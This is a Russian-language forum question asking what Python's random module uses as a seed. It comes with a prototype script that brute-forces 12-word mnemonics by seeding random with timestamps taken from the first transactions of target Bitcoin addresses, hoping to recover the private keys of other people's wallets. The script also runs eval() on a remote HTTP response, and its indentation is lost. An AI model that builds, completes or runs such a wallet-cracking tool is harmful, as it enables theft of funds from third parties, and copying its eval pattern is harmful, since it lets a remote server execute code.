Какое число использует модуль random (python) в качестве сида?
Я слышал, что это системное время, но я не знаю в чём оно. В секундах, в миллисекундах или в чём-то другом? Зачем мне это? Я хочу сделать программу, которая будет генерировать адреса биткоин кошельков, но я не хочу чтобы она их перебирала в "слепую". Я хочу реализовать алгоритм, которым (возможно) генерирует адреса какая-то другая чужая программа. Если учесть, что в компьютерах нет ничего случайного, то и генерация адресов может быть не случайной. Код прототипа программы:
import Words
import random
import aiohttp
import asyncio
import datetime
import bip32utils
from mnemonic import Mnemonic
flag = True
mnemo = Mnemonic()
seconds = None
def get_words():
global seconds
random.seed(seconds)
word_list = [random.choice(Words.WORD_LIST) for _ in range(12)]
phrase = " ".join(word_list)
seconds -= 1
return phrase
def get_seed(words: str):
res = mnemo.to_seed(words)
return res
async def addr(path: str = None):
global seconds
List = []
if path is None:
for _ in range(5):
print("-----------------------------------------------------------------------------")
async with aiohttp.ClientSession() as session:
async with session.get(
"https://blockchain.info/unconfirmed-transactions?format=json"
) as response:
res = await response.json()
for i in res["txs"]:
address = i["inputs"][0]["prev_out"]["addr"]
if address[0] == "1":
List.append(address)
print(address)
await asyncio.sleep(20)
else:
with open(path, "r") as file:
for s in file.readlines():
res = s.rstrip(";\n")
List.append(res)
List2 = []
for address in List:
try:
async with aiohttp.ClientSession() as session:
async with session.get(
f"https://blockchain.info/address/{address}?format=json"
) as response:
data = await response.json()
transactions = data["txs"]
transaction = min(transactions, key=lambda x: x["time"])
List2.append(round(transaction["time"]))
print(f"{address}: {round(transaction['time'])}")
except Exception as EX:
print(EX)
break
seconds = max(List2)
print(f"seconds: {seconds}")
return List
async def balance_check(wallet_address: str):
async with aiohttp.ClientSession() as session:
async with session.post(
"http://blockchain.info/balance?active=" + wallet_address, timeout=0.1
) as response:
res = await response.text()
res = eval(res)
return res[wallet_address]["final_balance"]
async def generate(addresses: list):
global flag
value = 0
while flag:
words = get_words()
seed = get_seed(words)
address = bip32utils.BIP32Key.fromEntropy(seed).Address()
if str(address) in addresses:
print(
f"[{datetime.datetime.now()}] words: {words} | seed: {seed.hex()} | address: {address} | "
f"value: {value}"
)
flag = False
if value % 10 == 0:
print(f"[{datetime.datetime.now()}] words: {words} | seed: {seed.hex()} | address: {address}")
value = 0
value += 1
return None
async def main():
addresses = await addr("balance12.txt")
print(addresses)
await generate(addresses)
print("Всё!")
if __name__ == "__main__":
try:
asyncio.run(main())
except Exception as ex:
print(f"{datetime.datetime.now()} EX: {ex}")
except KeyboardInterrupt:
pass